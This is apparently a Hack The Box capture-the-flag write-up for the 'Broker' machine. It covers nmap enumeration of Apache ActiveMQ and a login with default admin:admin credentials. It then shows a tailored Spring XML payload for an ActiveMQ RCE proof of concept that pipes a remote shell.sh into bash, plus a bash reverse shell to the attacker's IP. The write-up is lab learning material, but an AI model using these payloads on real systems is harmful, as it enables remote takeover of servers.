Broker Write-Up - HTB

Recon

Starting off with an nmap scan:

sudo nmap -sS -Pn -n -p- 10.10.11.243 -oN all_syn.txt

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
1883/tcp  open  mqtt
5672/tcp  open  amqp
8161/tcp  open  patrol-snmp
44327/tcp open  unknown
61613/tcp open  unknown
61614/tcp open  unknown
61616/tcp open  unknown

Let's enumerate the services further:

PORTS=$(grep "open" all_syn.txt | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'); sudo nmap -sVC -p $PORTS -Pn -n 10.10.11.243

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp  open  mqtt
|_mqtt-subscribe: Failed to receive control packet from server.
5672/tcp  open  amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
8161/tcp  open  http       Jetty 9.4.39.v20210325
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
44327/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings: 
|   HELP4STOMP: 
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
61616/tcp open  apachemq   ActiveMQ OpenWire transport
| fingerprint-strings: 
|   NULL: 
|     ActiveMQ
|     TcpNoDelayEnabled
|     SizePrefixDisabled
|     CacheSize
|     ProviderName 
|     ActiveMQ
|     StackTraceEnabled
|     PlatformDetails 
|     Java
|     CacheEnabled
|     TightEncodingEnabled
|     MaxFrameSize
|     MaxInactivityDuration
|     MaxInactivityDurationInitalDelay
|     ProviderVersion 
|_    5.15.15

Navigated to the webapp:

Turns out admin:admin works!

Found this CVE: https://github.com/X1r0z/ActiveMQ-RCE

Did some tailoring to the poc.xml after trial 'n error:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>curl http://10.10.16.9:8080/shell.sh | bash</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

And shell.sh:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.9/9999 0>&1

Turn on the webservers and launch the poc!

/ActiveMQ-RCE -i 10.10.11.243 -u http://10.10.16.9:9000/poc.xml
     _        _   _           __  __  ___        ____   ____ _____ 
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|  
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___ 
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.16.9:9000/poc.xml

[*] Sending packet: 000000711f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001e687474703a2f2f31302e31302e31362e393a393030302f706f632e786d6c